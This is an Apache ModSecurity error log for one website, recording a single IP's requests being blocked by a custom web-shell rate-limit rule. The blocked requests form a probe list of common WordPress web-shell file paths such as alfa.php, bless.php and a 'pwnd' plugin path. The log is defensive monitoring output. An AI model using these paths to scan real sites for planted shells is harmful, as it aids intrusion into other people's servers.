[Mon Feb 09 00:54:02.955246 2026] [:error] [pid 9482:tid 9546] [client 20.69.252.116:33854] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aYi_qsTkGH_puEFp5zPR9AAAA8c"]
[Mon Feb 09 00:54:03.365350 2026] [:error] [pid 24530:tid 24532] [client 20.69.252.116:33820] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aYi_q0azNRCs1GRWrh48DgAAAMA"]
[Mon Feb 09 00:54:03.795620 2026] [:error] [pid 6630:tid 6650] [client 20.69.252.116:33129] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jane.php"] [unique_id "aYi_q52jf0FBTEb_cWQR9wAAAhE"]
[Mon Feb 09 00:54:04.343378 2026] [:error] [pid 6630:tid 6647] [client 20.69.252.116:33826] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jane.php"] [unique_id "aYi_rJ2jf0FBTEb_cWQR-AAAAg4"]
[Mon Feb 09 00:54:04.820948 2026] [:error] [pid 6723:tid 6805] [client 20.69.252.116:33802] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jane.php"] [unique_id "aYi_rDkiu6gHwS33P0qTowAAA1Q"]
[Mon Feb 09 00:54:05.249199 2026] [:error] [pid 9482:tid 9541] [client 20.69.252.116:33863] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jane.php"] [unique_id "aYi_rcTkGH_puEFp5zPR-AAAA8I"]
[Mon Feb 09 00:54:05.697145 2026] [:error] [pid 9422:tid 9449] [client 20.69.252.116:48748] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aYi_ra9DqDJC68qBbyxF5QAAAZg"]
[Mon Feb 09 00:54:06.284253 2026] [:error] [pid 43900:tid 43911] [client 20.69.252.116:33904] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aYi_ruWrhnpm_Csk3knKWAAAAUg"]
[Mon Feb 09 00:54:06.695030 2026] [:error] [pid 6663:tid 6697] [client 20.69.252.116:34530] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aYi_rmGI3uHqWdeZM76hFgAAAoQ"]
[Mon Feb 09 00:54:07.119717 2026] [:error] [pid 24530:tid 24542] [client 20.69.252.116:33861] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aYi_r0azNRCs1GRWrh48EAAAAMo"]
[Mon Feb 09 00:54:07.524177 2026] [:error] [pid 24421:tid 24438] [client 20.69.252.116:33893] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aYi_r6p7cTzhX5M1IP9ZpQAAAAc"]
[Mon Feb 09 00:54:07.970776 2026] [:error] [pid 24423:tid 24495] [client 20.69.252.116:35125] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aYi_r03f9n1Y0TpV5YaJ6wAAAIo"]
[Mon Feb 09 00:54:08.435501 2026] [:error] [pid 9482:tid 9558] [client 20.69.252.116:33860] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aYi_sMTkGH_puEFp5zPR-gAAA9M"]
[Mon Feb 09 00:54:08.842653 2026] [:error] [pid 24530:tid 24555] [client 20.69.252.116:33838] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aYi_sEazNRCs1GRWrh48FAAAANc"]
[Mon Feb 09 00:54:14.572528 2026] [:error] [pid 9482:tid 9549] [client 20.69.252.116:34478] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aYi_tsTkGH_puEFp5zPSCwAAA8o"]
[Mon Feb 09 00:54:14.983598 2026] [:error] [pid 24530:tid 24532] [client 20.69.252.116:34493] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aYi_tkazNRCs1GRWrh48HAAAAMA"]
[Mon Feb 09 00:54:15.388614 2026] [:error] [pid 6723:tid 6806] [client 20.69.252.116:33849] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aYi_tzkiu6gHwS33P0qTqwAAA1U"]
[Mon Feb 09 00:54:15.798264 2026] [:error] [pid 6723:tid 6789] [client 20.69.252.116:34447] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aYi_tzkiu6gHwS33P0qTrQAAA0Q"]
[Mon Feb 09 00:54:16.225171 2026] [:error] [pid 9422:tid 9447] [client 20.69.252.116:34501] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYi_uK9DqDJC68qBbyxF6gAAAZY"]
[Mon Feb 09 00:54:16.634234 2026] [:error] [pid 6723:tid 6788] [client 20.69.252.116:33818] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYi_uDkiu6gHwS33P0qTrgAAA0M"]
[Mon Feb 09 00:54:17.034021 2026] [:error] [pid 6663:tid 6704] [client 20.69.252.116:35120] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYi_uWGI3uHqWdeZM76hHQAAAos"]
[Mon Feb 09 00:54:17.436191 2026] [:error] [pid 6663:tid 6713] [client 20.69.252.116:35129] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYi_uWGI3uHqWdeZM76hHwAAApQ"]
[Mon Feb 09 00:54:17.847851 2026] [:error] [pid 24423:tid 24509] [client 20.69.252.116:33910] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aYi_uU3f9n1Y0TpV5YaJ8gAAAJg"]
[Mon Feb 09 00:54:18.270509 2026] [:error] [pid 6663:tid 6708] [client 20.69.252.116:33902] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aYi_umGI3uHqWdeZM76hIwAAAo8"]
[Mon Feb 09 00:54:18.674780 2026] [:error] [pid 6630:tid 6648] [client 20.69.252.116:33815] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aYi_up2jf0FBTEb_cWQSDwAAAg8"]
[Mon Feb 09 00:54:19.085436 2026] [:error] [pid 24530:tid 24543] [client 20.69.252.116:35101] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aYi_u0azNRCs1GRWrh48HwAAAMs"]
[Mon Feb 09 00:54:19.489259 2026] [:error] [pid 6663:tid 6701] [client 20.69.252.116:33843] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYi_u2GI3uHqWdeZM76hJQAAAog"]
[Mon Feb 09 00:54:19.896895 2026] [:error] [pid 6663:tid 6699] [client 20.69.252.116:33058] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYi_u2GI3uHqWdeZM76hJgAAAoY"]
[Mon Feb 09 00:54:20.300179 2026] [:error] [pid 6663:tid 6697] [client 20.69.252.116:33819] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYi_vGGI3uHqWdeZM76hJwAAAoQ"]
[Mon Feb 09 00:54:20.714133 2026] [:error] [pid 24530:tid 24551] [client 20.69.252.116:34491] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYi_vEazNRCs1GRWrh48IwAAANM"]
[Mon Feb 09 00:54:21.119826 2026] [:error] [pid 6723:tid 6798] [client 20.69.252.116:33913] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYi_vTkiu6gHwS33P0qTswAAA00"]
[Mon Feb 09 00:54:21.535612 2026] [:error] [pid 6723:tid 6802] [client 20.69.252.116:33834] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYi_vTkiu6gHwS33P0qTtAAAA1E"]
[Mon Feb 09 00:54:21.947294 2026] [:error] [pid 6723:tid 6785] [client 20.69.252.116:33887] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYi_vTkiu6gHwS33P0qTtgAAA0A"]
[Mon Feb 09 00:54:22.355301 2026] [:error] [pid 6662:tid 6680] [client 20.69.252.116:35096] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYi_vt-oEK1ut16KiNIdbAAAAk4"]
[Mon Feb 09 00:54:22.767881 2026] [:error] [pid 6630:tid 6650] [client 20.69.252.116:35130] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aYi_vp2jf0FBTEb_cWQSEgAAAhE"]
[Mon Feb 09 00:54:23.230876 2026] [:error] [pid 6662:tid 6683] [client 20.69.252.116:34547] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aYi_v9-oEK1ut16KiNIdbQAAAlE"]
[Mon Feb 09 00:54:23.638415 2026] [:error] [pid 6663:tid 6713] [client 20.69.252.116:33877] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aYi_v2GI3uHqWdeZM76hKgAAApQ"]
[Mon Feb 09 00:54:24.050658 2026] [:error] [pid 24423:tid 24497] [client 20.69.252.116:33912] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aYi_wE3f9n1Y0TpV5YaJ8wAAAIw"]
[Mon Feb 09 00:54:24.482074 2026] [:error] [pid 6723:tid 6803] [client 20.69.252.116:33836] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aYi_wDkiu6gHwS33P0qTuwAAA1I"]
[Mon Feb 09 00:54:24.917746 2026] [:error] [pid 6723:tid 6804] [client 20.69.252.116:33827] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aYi_wDkiu6gHwS33P0qTvQAAA1M"]
[Mon Feb 09 00:54:25.339160 2026] [:error] [pid 6723:tid 6793] [client 20.69.252.116:34480] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aYi_wTkiu6gHwS33P0qTvgAAA0g"]
[Mon Feb 09 00:54:25.800717 2026] [:error] [pid 6630:tid 6653] [client 20.69.252.116:33024] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aYi_wZ2jf0FBTEb_cWQSFAAAAhQ"]
[Mon Feb 09 00:54:26.329004 2026] [:error] [pid 43900:tid 43921] [client 20.69.252.116:33852] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aYi_wuWrhnpm_Csk3knKYgAAAVI"]
[Mon Feb 09 00:54:26.732594 2026] [:error] [pid 6630:tid 6633] [client 20.69.252.116:35122] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aYi_wp2jf0FBTEb_cWQSFQAAAgA"]
[Mon Feb 09 00:54:27.162122 2026] [:error] [pid 43900:tid 43909] [client 20.69.252.116:33919] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aYi_w-Wrhnpm_Csk3knKZAAAAUY"]
[Mon Feb 09 00:54:27.571703 2026] [:error] [pid 6723:tid 6796] [client 20.69.252.116:33872] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aYi_wzkiu6gHwS33P0qTxAAAA0s"]
[Mon Feb 09 00:54:28.065823 2026] [:error] [pid 24530:tid 24536] [client 20.69.252.116:34554] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aYi_xEazNRCs1GRWrh48JgAAAMQ"]
[Mon Feb 09 00:54:28.468918 2026] [:error] [pid 6723:tid 6798] [client 20.69.252.116:33794] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aYi_xDkiu6gHwS33P0qTyAAAA00"]
[Mon Feb 09 00:54:28.949135 2026] [:error] [pid 9482:tid 9563] [client 20.69.252.116:34479] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aYi_xMTkGH_puEFp5zPSFwAAA9g"]
[Mon Feb 09 00:54:29.460065 2026] [:error] [pid 9422:tid 9438] [client 20.69.252.116:33903] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aYi_xa9DqDJC68qBbyxF8AAAAY0"]
[Mon Feb 09 00:54:29.888839 2026] [:error] [pid 24530:tid 24555] [client 20.69.252.116:33800] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aYi_xUazNRCs1GRWrh48KAAAANc"]
[Mon Feb 09 00:54:30.299653 2026] [:error] [pid 43900:tid 43917] [client 20.69.252.116:34470] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aYi_xuWrhnpm_Csk3knKZgAAAU4"]
[Mon Feb 09 00:54:30.726255 2026] [:error] [pid 9422:tid 9449] [client 20.69.252.116:33823] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aYi_xq9DqDJC68qBbyxF9QAAAZg"]
[Mon Feb 09 00:54:31.187238 2026] [:error] [pid 24421:tid 24454] [client 20.69.252.116:33885] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aYi_x6p7cTzhX5M1IP9ZrAAAABc"]
[Mon Feb 09 00:54:31.599441 2026] [:error] [pid 9422:tid 9439] [client 20.69.252.116:33048] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aYi_x69DqDJC68qBbyxF9wAAAY4"]
